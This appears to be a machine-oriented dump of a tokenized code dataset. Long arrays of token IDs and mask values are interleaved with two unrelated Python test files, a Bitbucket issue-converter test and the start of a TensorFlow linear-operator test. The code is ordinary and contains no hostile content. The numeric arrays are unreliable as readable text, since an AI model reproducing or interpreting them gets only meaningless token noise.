6571, 2005, 2863, 2291, 3102, 1202, 272, 701, 314, 18868, 1698, 15, 4943, 436, 26223, 21295, 1041, 339, 347, 636, 826, 721, 277, 304, 267, 340, 291, 855, 533, 363, 365, 10191, 1563, 26, 288, 746, 6064, 8, 355, 298, 10131, 1095, 14, 2842, 1563, 1471, 506, 1007, 28271, 531, 339, 347, 1125, 8, 277, 12, 1245, 304, 267, 746, 4279, 8, 288, 298, 19094, 402, 10191, 1563, 1471, 4278, 1125, 16060, 339, 347, 5305, 8, 277, 304, 267, 291, 14, 3469, 275, 413, 267, 291, 14, 2743, 275, 378, 339, 347, 664, 1712, 8, 277, 304, 267, 408, 1767, 1453, 1004, 1329, 436, 3268, 1041, 267, 372, 291, 14, 3469, 12, 291, 14, 2743, 339, 327, 12624, 1553, 1678, 1004, 1329, 436, 3268, 14, 221, 961, 1077, 506, 272, 327, 2797, 367, 1924, 14854, 402, 666, 8840, 5403, 12, 315, 1865, 1553, 315, 1163, 272, 327, 5932, 314, 28207, 402, 1006, 314, 1324, 3326, 370, 642, 272, 327, 805, 1077, 506, 8840, 314, 8039, 1324, 14, 272, 347, 1678, 1712, 8, 277, 12, 284, 12, 1335, 304, 267, 340, 284, 2356, 1335, 26, 288, 372, 1335, 267, 15705, 275, 291, 14, 14901, 267, 302, 1278, 275, 15705, 14, 835, 4582, 78, 401, 284, 12, 1335, 9, 267, 340, 302, 1278, 26, 288, 291, 14, 3469, 275, 291, 14, 3469, 435, 302, 1278, 288, 2086, 275, 15705, 14, 26187, 4582, 78, 401, 284, 12, 1335, 9, 327, 7719, 440, 2449, 288, 291, 14, 2743, 275, 1335, 15426, 1712, 11, 17, 9, 267, 587, 26, 288, 291, 14, 2743, 275, 291, 14, 2743, 435, 1335, 13, 73, 267, 372, 1335, 339, 485, 9427, 63, 1848, 6574, 275, 2125, 339, 327, 12624, 1553, 2198, 12560, 334, 509, 675, 701, 9180, 680, 272, 347, 2198, 63, 15477, 8, 277, 12, 284, 304, 267, 327, 961, 365, 2005, 4069, 402, 12560, 27, 315, 298, 4943, 465, 267, 327, 26181, 4589, 642, 1077, 1454, 506, 314, 2213, 730, 267, 327, 12560, 1689, 11230, 16556, 3517, 1396, 30, 3471, 267, 327, 9055, 10523, 1965, 26, 1167, 1184, 12, 13432, 12, 965, 1655, 6114, 267, 327, 12560, 6302, 367, 4008, 315, 31513, 1396, 6244, 5893, 26, 267, 327, 1553, 3349, 306, 267, 327, 359, 17938, 3420, 61, 267, 327, 536, 315, 314, 2569, 769, 26, 32526, 1922, 12, 3506, 7540, 12, 662, 10320, 12, 267, 327, 10395, 4924, 12, 2845, 2594, 12, 26389, 8279, 12, 4815, 5443, 12, 267, 327, 19774, 2711, 12, 19774, 12, 2870, 7916, 12, 4815, 7916, 12, 20859, 267, 15705, 275, 291, 14, 14901, 267, 1335, 275, 284, 435, 499, 267, 702, 15705, 59, 73, 26, 74, 61, 508, 3886, 17716, 298, 8953, 1240, 370, 2198, 63, 15477, 2, 267, 340, 15705, 59, 74, 26, 74, 11, 17, 61, 508, 25366, 288, 327, 314, 2701, 3721, 31513, 30, 288, 372, 1335, 435, 413, 267, 340, 15705, 59, 74, 26, 74, 11, 17, 61, 315, 19372, 401, 26430, 288, 327, 7707, 402, 3721, 9437, 701, 3335, 8424, 12, 288, 327, 503, 2951, 282, 3335, 8424, 14, 288, 372, 446, 17, 267, 327, 437, 3486, 12, 20594, 3294, 1015, 4293, 3648, 2839, 26, 3666, 354, 92, 875, 1051, 9, 428, 13278, 435, 21770, 267, 302, 275, 822, 8, 14901, 9, 267, 340, 15705, 59, 74, 26, 74, 11, 18, 61, 508, 2850, 356, 327, 3349, 288, 327, 6263, 323, 1553, 2795, 306, 465, 314, 2396, 402, 314, 3721, 288, 372, 291, 14, 1122, 63, 3349, 8, 73, 9, 267, 916, 15705, 59, 74, 61, 508, 6730, 356, 327, 17938, 3420, 288, 327, 6263, 323, 359, 1205, 10155, 359, 1396, 285, 8734, 18868, 1698, 1396, 2677, 465, 314, 2396, 402, 314, 11584, 3420, 288, 327, 17685, 2004, 10155, 365, 1373, 402, 24314, 12, 445, 3998, 12, 27499, 5788, 12, 1621, 13958, 12, 820, 14049, 288, 327, 3390, 626, 642, 365, 9243, 701, 15332, 593, 11286, 301, 298, 8229, 465, 6001, 2, 805, 288, 327, 370, 2387, 359, 692, 18737, 436, 359, 13739, 1055, 288, 372, 291, 14, 1122, 63, 17938, 63, 2792, 8, 73, 9, 267, 587, 26, 327, 452, 1163, 12560, 4008, 288, 15021, 466, 12, 1335, 275, 291, 423, 6282, 63, 354, 8, 74, 12, 284, 9, 267, 340, 1335, 665, 378, 26, 288, 372, 1335, 267, 340, 15021, 466, 508, 298, 6356, 582, 288, 291, 423, 9427, 63, 1848, 6574, 275, 2125, 267, 1830, 1335, 665, 302, 26, 288, 286, 275, 15705, 59, 74, 61, 288, 340, 286, 508, 25366, 355, 327, 1284, 402, 12560, 6302, 355, 666, 275, 15705, 59, 73, 11, 18, 26, 74, 61, 355, 340, 15021, 466, 508, 298, 6356, 582, 490, 291, 14, 2479, 63, 9427, 8, 576, 9, 355, 587, 26, 490, 327, 31970, 370, 314, 4163, 21, 15941, 10189, 298, 24, 14, 18, 14, 20, 14, 1602, 699, 21670, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
jonboy11171/support-tools
googlecode-issues-exporter/bitbucket_issue_converter_test.py
90
6338
# Copyright 2013 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for the BitBucket Services.""" # pylint: disable=missing-docstring,protected-access import unittest import bitbucket_issue_converter import issues from issues_test import DEFAULT_USERNAME from issues_test import SINGLE_COMMENT from issues_test import SINGLE_ISSUE from issues_test import COMMENT_ONE from issues_test import COMMENT_TWO from issues_test import COMMENT_THREE from issues_test import COMMENTS_DATA from issues_test import NO_ISSUE_DATA from issues_test import USER_MAP # The BitBucket username. BITBUCKET_USERNAME = DEFAULT_USERNAME # The BitBucket repo name. BITBUCKET_REPO = "repo" class TestUserService(unittest.TestCase): """Tests for the UserService.""" def setUp(self): self._bitbucket_user_service = bitbucket_issue_converter.UserService() def testIsUser123(self): is_user = self._bitbucket_user_service.IsUser("username123") self.assertTrue(is_user) def testIsUser321(self): is_user = self._bitbucket_user_service.IsUser("username321") self.assertTrue(is_user) class TestIssueService(unittest.TestCase): """Tests for the IssueService.""" def setUp(self): self._bitbucket_issue_service = bitbucket_issue_converter.IssueService() self.maxDiff = None def testCreateIssue(self): issue_body = { "assignee": "default_username", "content": ( "```\none\n```\n\nReported by `a_uthor` on last year\n" "- **Labels added**: added-label\n" "- **Labels removed**: removed-label\n"), "content_updated_on": "last month", "created_on": "last year", "id": 1, "kind": "bug", "priority": "minor", "reporter": None, "status": "resolved", "title": "issue_title", "updated_on": "last year", } issue_number = self._bitbucket_issue_service.CreateIssue(SINGLE_ISSUE) self.assertEqual(1, issue_number) actual = self._bitbucket_issue_service._bitbucket_issues[0] # The comment body gets rewritten to preserve the origin ID. issue_body["content"] = ( "Originally reported on Google Code with ID 1\n" + issue_body["content"]) self.assertEqual(issue_body, actual) def testCloseIssue(self): # no-op self._bitbucket_issue_service.CloseIssue(123) # TODO(chris): Add testcase for an issue comment with attachments. def testCreateComment(self): comment_body = { "content": ( "```\none\n```\n\nReported by `a_uthor` on last year\n" "- **Labels added**: added-label\n" "- **Labels removed**: removed-label\n"), "created_on": "last year", "id": 1, "issue": 1, "updated_on": "last year", "user": "a_uthor", } self._bitbucket_issue_service.CreateComment( 1, SINGLE_COMMENT) actual = self._bitbucket_issue_service._bitbucket_comments[0] self.assertEqual(comment_body, actual) class TestIssueExporter(unittest.TestCase): """Tests for the IssueService.""" def setUp(self): self._bitbucket_user_service = bitbucket_issue_converter.UserService() self._bitbucket_issue_service = bitbucket_issue_converter.IssueService() self.issue_exporter = issues.IssueExporter( self._bitbucket_issue_service, self._bitbucket_user_service, NO_ISSUE_DATA, BITBUCKET_REPO, USER_MAP) self.issue_exporter.Init() def testCreateIssue(self): issue_number = self.issue_exporter._CreateIssue(SINGLE_ISSUE) self.assertEqual(1, issue_number) def testCreateComments(self): self.assertEqual(0, self.issue_exporter._comment_number) self.issue_exporter._CreateComments(COMMENTS_DATA, 1234, SINGLE_ISSUE) self.assertEqual(4, self.issue_exporter._comment_number) def testStart(self): self.issue_exporter._issue_json_data = [ { "id": "1", "title": "Title1", "state": "open", "status": "New", "comments": { "items": [COMMENT_ONE, COMMENT_TWO, COMMENT_THREE], }, "labels": ["Type-Issue", "Priority-High"], "owner": {"kind": "projecthosting#issuePerson", "name": "User1" }, "published": "last year", "updated": "last month", }, { "id": "2", "title": "Title2", "state": "closed", "status": "Fixed", "owner": {"kind": "projecthosting#issuePerson", "name": "User2" }, "labels": [], "comments": { "items": [COMMENT_ONE], }, "published": "last month", "updated": "last week", }, { "id": "3", "title": "Title3", "state": "closed", "status": "WontFix", "comments": { "items": [COMMENT_ONE, COMMENT_TWO], }, "labels": ["Type-Defect"], "owner": {"kind": "projecthosting#issuePerson", "name": "User3" }, "published": "last week", "updated": "yesterday", }] self.issue_exporter.Init() self.issue_exporter.Start() self.assertEqual(3, self.issue_exporter._issue_total) self.assertEqual(3, self.issue_exporter._issue_number) # Comment counts are per issue and should match the numbers from the last # issue created, minus one for the first comment, which is really # the issue description. self.assertEqual(1, self.issue_exporter._comment_number) self.assertEqual(1, self.issue_exporter._comment_total) if __name__ == "__main__": unittest.main(buffer=True)
apache-2.0
[ 3, 1898, 6171, 4475, 3277, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 624, 2925, 367, 314, 10199, 12311, 21813, 1041, 199, 199, 3, 4287, 26, 3507, 29, 4752, 13, 12485, 12, 6798, 13, 2732, 199, 199, 646, 2882, 199, 199, 646, 4546, 4623, 63, 5237, 63, 11256, 199, 646, 10876, 199, 199, 504, 10876, 63, 396, 492, 6186, 63, 11958, 199, 504, 10876, 63, 396, 492, 8655, 63, 10973, 199, 504, 10876, 63, 396, 492, 8655, 63, 1311, 51, 4187, 199, 504, 10876, 63, 396, 492, 25071, 63, 4817, 199, 504, 10876, 63, 396, 492, 25071, 63, 52, 11325, 199, 504, 10876, 63, 396, 492, 25071, 63, 2080, 5271, 199, 504, 10876, 63, 396, 492, 25071, 51, 63, 3998, 199, 504, 10876, 63, 396, 492, 4825, 63, 1311, 51, 4187, 63, 3998, 199, 504, 10876, 63, 396, 492, 13044, 63, 5443, 421, 199, 3, 710, 10199, 12311, 3434, 14, 199, 11970, 20156, 63, 11958, 275, 6186, 63, 11958, 199, 3, 710, 10199, 12311, 3831, 536, 14, 199, 11970, 20156, 63, 20424, 275, 298, 3417, 2, 421, 199, 533, 1379, 1899, 3167, 8, 2796, 14, 1746, 304, 523, 408, 2925, 367, 314, 2876, 3167, 1041, 819, 347, 3613, 8, 277, 304, 272, 291, 423, 25668, 63, 751, 63, 1364, 275, 4546, 4623, 63, 5237, 63, 11256, 14, 1899, 3167, 342, 819, 347, 511, 1831, 1899, 4288, 8, 277, 304, 272, 365, 63, 751, 275, 291, 423, 25668, 63, 751, 63, 1364, 14, 1831, 1899, 480, 2473, 4288, 531, 272, 291, 14, 1815, 8, 374, 63, 751, 9, 819, 347, 511, 1831, 1899, 12638, 8, 277, 304, 272, 365, 63, 751, 275, 291, 423, 25668, 63, 751, 63, 1364, 14, 1831, 1899, 480, 2473, 12638, 531, 272, 291, 14, 1815, 8, 374, 63, 751, 9, 421, 199, 533, 1379, 17106, 3167, 8, 2796, 14, 1746, 304, 523, 408, 2925, 367, 314, 13383, 3167, 1041, 819, 347, 3613, 8, 277, 304, 272, 291, 423, 25668, 63, 5237, 63, 1364, 275, 4546, 4623, 63, 5237, 63, 11256, 14, 17106, 3167, 342, 272, 291, 14, 988, 10746, 275, 488, 819, 347, 511, 2499, 17106, 8, 277, 304, 272, 4976, 63, 2030, 275, 469, 267, 298, 28660, 18682, 582, 298, 885, 63, 2473, 401, 267, 298, 1317, 582, 334, 288, 298, 1040, 25502, 3592, 60, 78, 1040, 25502, 78, 60, 78, 497, 2315, 701, 658, 65, 63, 26042, 64, 641, 2061, 5361, 60, 78, 2, 288, 3905, 1011, 14016, 3483, 26742, 3483, 13, 1302, 60, 78, 2, 288, 3905, 1011, 14016, 4829, 26742, 4829, 13, 1302, 60, 78, 1288, 267, 298, 1317, 63, 5334, 63, 265, 582, 298, 2019, 5794, 401, 267, 298, 3966, 63, 265, 582, 298, 2019, 5361, 401, 267, 298, 344, 582, 413, 12, 267, 298, 5091, 582, 298, 1266, 401, 267, 298, 6693, 582, 298, 11067, 401, 267, 298, 12222, 582, 488, 12, 267, 298, 1205, 582, 298, 13697, 401, 267, 298, 1213, 582, 298, 5237, 63, 1213, 401, 267, 298, 5334, 63, 265, 582, 298, 2019, 5361, 401, 272, 789, 272, 4976, 63, 1955, 275, 291, 423, 25668, 63, 5237, 63, 1364, 14, 2499, 17106, 8, 16425, 63, 1311, 51, 4187, 9, 272, 291, 14, 629, 8, 17, 12, 4976, 63, 1955, 9, 272, 3503, 275, 291, 423, 25668, 63, 5237, 63, 1364, 423, 25668, 63, 10115, 59, 16, 61, 272, 327, 710, 3721, 2396, 7545, 28286, 370, 11211, 314, 6330, 2870, 14, 272, 4976, 63, 2030, 905, 1317, 937, 275, 334, 267, 298, 12834, 1183, 14581, 641, 4475, 5495, 543, 2870, 413, 60, 78, 2, 435, 4976, 63, 2030, 905, 1317, 3135, 339, 291, 14, 629, 8, 5237, 63, 2030, 12, 3503, 9, 819, 347, 511, 4724, 17106, 8, 277, 304, 272, 327, 949, 13, 411, 272, 291, 423, 25668, 63, 5237, 63, 1364, 14, 4724, 17106, 8, 4288, 9, 819, 327, 3254, 8, 335, 5719, 304, 2654, 16228, 367, 376, 4976, 3721, 221, 543, 18912, 14, 523, 347, 511, 2499, 7488, 8, 277, 304, 272, 3721, 63, 2030, 275, 469, 267, 298, 1317, 582, 334, 288, 298, 1040, 25502, 3592, 60, 78, 1040, 25502, 78, 60, 78, 497, 2315, 701, 658, 65, 63, 26042, 64, 641, 2061, 5361, 60, 78, 2, 288, 3905, 1011, 14016, 3483, 26742, 3483, 13, 1302, 60, 78, 2, 288, 3905, 1011, 14016, 4829, 26742, 4829, 13, 1302, 60, 78, 1288, 267, 298, 3966, 63, 265, 582, 298, 2019, 5361, 401, 267, 298, 344, 582, 413, 12, 267, 298, 5237, 582, 413, 12, 267, 298, 5334, 63, 265, 582, 298, 2019, 5361, 401, 267, 298, 751, 582, 298, 65, 63, 26042, 401, 272, 789, 272, 291, 423, 25668, 63, 5237, 63, 1364, 14, 2499, 7488, 8, 267, 413, 12, 8655, 63, 10973, 9, 272, 3503, 275, 291, 423, 25668, 63, 5237, 63, 1364, 423, 25668, 63, 6223, 59, 16, 61, 272, 291, 14, 629, 8, 3349, 63, 2030, 12, 3503, 9, 421, 199, 533, 1379, 17106, 30341, 8, 2796, 14, 1746, 304, 523, 408, 2925, 367, 314, 13383, 3167, 1041, 819, 347, 3613, 8, 277, 304, 272, 291, 423, 25668, 63, 751, 63, 1364, 275, 4546, 4623, 63, 5237, 63, 11256, 14, 1899, 3167, 342, 272, 291, 423, 25668, 63, 5237, 63, 1364, 275, 4546, 4623, 63, 5237, 63, 11256, 14, 17106, 3167, 342, 272, 291, 14, 5237, 63, 30305, 275, 10876, 14, 17106, 30341, 8, 267, 291, 423, 25668, 63, 5237, 63, 1364, 12, 291, 423, 25668 ]
[ 1898, 6171, 4475, 3277, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 624, 2925, 367, 314, 10199, 12311, 21813, 1041, 199, 199, 3, 4287, 26, 3507, 29, 4752, 13, 12485, 12, 6798, 13, 2732, 199, 199, 646, 2882, 199, 199, 646, 4546, 4623, 63, 5237, 63, 11256, 199, 646, 10876, 199, 199, 504, 10876, 63, 396, 492, 6186, 63, 11958, 199, 504, 10876, 63, 396, 492, 8655, 63, 10973, 199, 504, 10876, 63, 396, 492, 8655, 63, 1311, 51, 4187, 199, 504, 10876, 63, 396, 492, 25071, 63, 4817, 199, 504, 10876, 63, 396, 492, 25071, 63, 52, 11325, 199, 504, 10876, 63, 396, 492, 25071, 63, 2080, 5271, 199, 504, 10876, 63, 396, 492, 25071, 51, 63, 3998, 199, 504, 10876, 63, 396, 492, 4825, 63, 1311, 51, 4187, 63, 3998, 199, 504, 10876, 63, 396, 492, 13044, 63, 5443, 421, 199, 3, 710, 10199, 12311, 3434, 14, 199, 11970, 20156, 63, 11958, 275, 6186, 63, 11958, 199, 3, 710, 10199, 12311, 3831, 536, 14, 199, 11970, 20156, 63, 20424, 275, 298, 3417, 2, 421, 199, 533, 1379, 1899, 3167, 8, 2796, 14, 1746, 304, 523, 408, 2925, 367, 314, 2876, 3167, 1041, 819, 347, 3613, 8, 277, 304, 272, 291, 423, 25668, 63, 751, 63, 1364, 275, 4546, 4623, 63, 5237, 63, 11256, 14, 1899, 3167, 342, 819, 347, 511, 1831, 1899, 4288, 8, 277, 304, 272, 365, 63, 751, 275, 291, 423, 25668, 63, 751, 63, 1364, 14, 1831, 1899, 480, 2473, 4288, 531, 272, 291, 14, 1815, 8, 374, 63, 751, 9, 819, 347, 511, 1831, 1899, 12638, 8, 277, 304, 272, 365, 63, 751, 275, 291, 423, 25668, 63, 751, 63, 1364, 14, 1831, 1899, 480, 2473, 12638, 531, 272, 291, 14, 1815, 8, 374, 63, 751, 9, 421, 199, 533, 1379, 17106, 3167, 8, 2796, 14, 1746, 304, 523, 408, 2925, 367, 314, 13383, 3167, 1041, 819, 347, 3613, 8, 277, 304, 272, 291, 423, 25668, 63, 5237, 63, 1364, 275, 4546, 4623, 63, 5237, 63, 11256, 14, 17106, 3167, 342, 272, 291, 14, 988, 10746, 275, 488, 819, 347, 511, 2499, 17106, 8, 277, 304, 272, 4976, 63, 2030, 275, 469, 267, 298, 28660, 18682, 582, 298, 885, 63, 2473, 401, 267, 298, 1317, 582, 334, 288, 298, 1040, 25502, 3592, 60, 78, 1040, 25502, 78, 60, 78, 497, 2315, 701, 658, 65, 63, 26042, 64, 641, 2061, 5361, 60, 78, 2, 288, 3905, 1011, 14016, 3483, 26742, 3483, 13, 1302, 60, 78, 2, 288, 3905, 1011, 14016, 4829, 26742, 4829, 13, 1302, 60, 78, 1288, 267, 298, 1317, 63, 5334, 63, 265, 582, 298, 2019, 5794, 401, 267, 298, 3966, 63, 265, 582, 298, 2019, 5361, 401, 267, 298, 344, 582, 413, 12, 267, 298, 5091, 582, 298, 1266, 401, 267, 298, 6693, 582, 298, 11067, 401, 267, 298, 12222, 582, 488, 12, 267, 298, 1205, 582, 298, 13697, 401, 267, 298, 1213, 582, 298, 5237, 63, 1213, 401, 267, 298, 5334, 63, 265, 582, 298, 2019, 5361, 401, 272, 789, 272, 4976, 63, 1955, 275, 291, 423, 25668, 63, 5237, 63, 1364, 14, 2499, 17106, 8, 16425, 63, 1311, 51, 4187, 9, 272, 291, 14, 629, 8, 17, 12, 4976, 63, 1955, 9, 272, 3503, 275, 291, 423, 25668, 63, 5237, 63, 1364, 423, 25668, 63, 10115, 59, 16, 61, 272, 327, 710, 3721, 2396, 7545, 28286, 370, 11211, 314, 6330, 2870, 14, 272, 4976, 63, 2030, 905, 1317, 937, 275, 334, 267, 298, 12834, 1183, 14581, 641, 4475, 5495, 543, 2870, 413, 60, 78, 2, 435, 4976, 63, 2030, 905, 1317, 3135, 339, 291, 14, 629, 8, 5237, 63, 2030, 12, 3503, 9, 819, 347, 511, 4724, 17106, 8, 277, 304, 272, 327, 949, 13, 411, 272, 291, 423, 25668, 63, 5237, 63, 1364, 14, 4724, 17106, 8, 4288, 9, 819, 327, 3254, 8, 335, 5719, 304, 2654, 16228, 367, 376, 4976, 3721, 221, 543, 18912, 14, 523, 347, 511, 2499, 7488, 8, 277, 304, 272, 3721, 63, 2030, 275, 469, 267, 298, 1317, 582, 334, 288, 298, 1040, 25502, 3592, 60, 78, 1040, 25502, 78, 60, 78, 497, 2315, 701, 658, 65, 63, 26042, 64, 641, 2061, 5361, 60, 78, 2, 288, 3905, 1011, 14016, 3483, 26742, 3483, 13, 1302, 60, 78, 2, 288, 3905, 1011, 14016, 4829, 26742, 4829, 13, 1302, 60, 78, 1288, 267, 298, 3966, 63, 265, 582, 298, 2019, 5361, 401, 267, 298, 344, 582, 413, 12, 267, 298, 5237, 582, 413, 12, 267, 298, 5334, 63, 265, 582, 298, 2019, 5361, 401, 267, 298, 751, 582, 298, 65, 63, 26042, 401, 272, 789, 272, 291, 423, 25668, 63, 5237, 63, 1364, 14, 2499, 7488, 8, 267, 413, 12, 8655, 63, 10973, 9, 272, 3503, 275, 291, 423, 25668, 63, 5237, 63, 1364, 423, 25668, 63, 6223, 59, 16, 61, 272, 291, 14, 629, 8, 3349, 63, 2030, 12, 3503, 9, 421, 199, 533, 1379, 17106, 30341, 8, 2796, 14, 1746, 304, 523, 408, 2925, 367, 314, 13383, 3167, 1041, 819, 347, 3613, 8, 277, 304, 272, 291, 423, 25668, 63, 751, 63, 1364, 275, 4546, 4623, 63, 5237, 63, 11256, 14, 1899, 3167, 342, 272, 291, 423, 25668, 63, 5237, 63, 1364, 275, 4546, 4623, 63, 5237, 63, 11256, 14, 17106, 3167, 342, 272, 291, 14, 5237, 63, 30305, 275, 10876, 14, 17106, 30341, 8, 267, 291, 423, 25668, 63, 5237, 63, 1364, 12, 291, 423, 25668, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
snnn/tensorflow
tensorflow/python/kernel_tests/linalg/linear_operator_addition_test.py
3
16782
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np from tensorflow.python.framework import random_seed from tensorflow.python.ops import linalg_ops from tensorflow.python.ops.linalg import linalg as linalg_lib from tensorflow.python.ops.linalg import linear_operator_addition from tensorflow.python.platform import test linalg = linalg_lib random_seed.set_random_seed(23) rng = np.random.RandomState(0) add_operators = linear_operator_addition.add_operators # pylint: disable=unused-argument class _BadAdder(linear_operator_addition._Adder): """Adder that will fail if used.""" def can_add(self, op1, op2): raise AssertionError("BadAdder.can_add called!") def _add(self, op1, op2, operator_name, hints): raise AssertionError("This line should not be reached") # pylint: enable=unused-argument class LinearOperatorAdditionCorrectnessTest(test.TestCase): """Tests correctness of addition with combinations of a few Adders. Tests here are done with the _DEFAULT_ADDITION_TIERS, which means add_operators should reduce all operators resulting in one single operator. This shows that we are able to correctly combine adders using the tiered system. All Adders should be tested separately, and there is no need to test every Adder within this class. """ def test_one_operator_is_returned_unchanged(self): op_a = linalg.LinearOperatorDiag([1., 1.]) op_sum = add_operators([op_a]) self.assertEqual(1, len(op_sum)) self.assertIs(op_sum[0], op_a) def test_at_least_one_operators_required(self): with self.assertRaisesRegexp(ValueError, "must contain at least one"): add_operators([]) def test_attempting_to_add_numbers_raises(self): with self.assertRaisesRegexp(TypeError, "contain only LinearOperator"): add_operators([1, 2]) def test_two_diag_operators(self): op_a = linalg.LinearOperatorDiag( [1., 1.], is_positive_definite=True, name="A") op_b = linalg.LinearOperatorDiag( [2., 2.], is_positive_definite=True, name="B") with self.cached_session(): op_sum = add_operators([op_a, op_b]) self.assertEqual(1, len(op_sum)) op = op_sum[0] 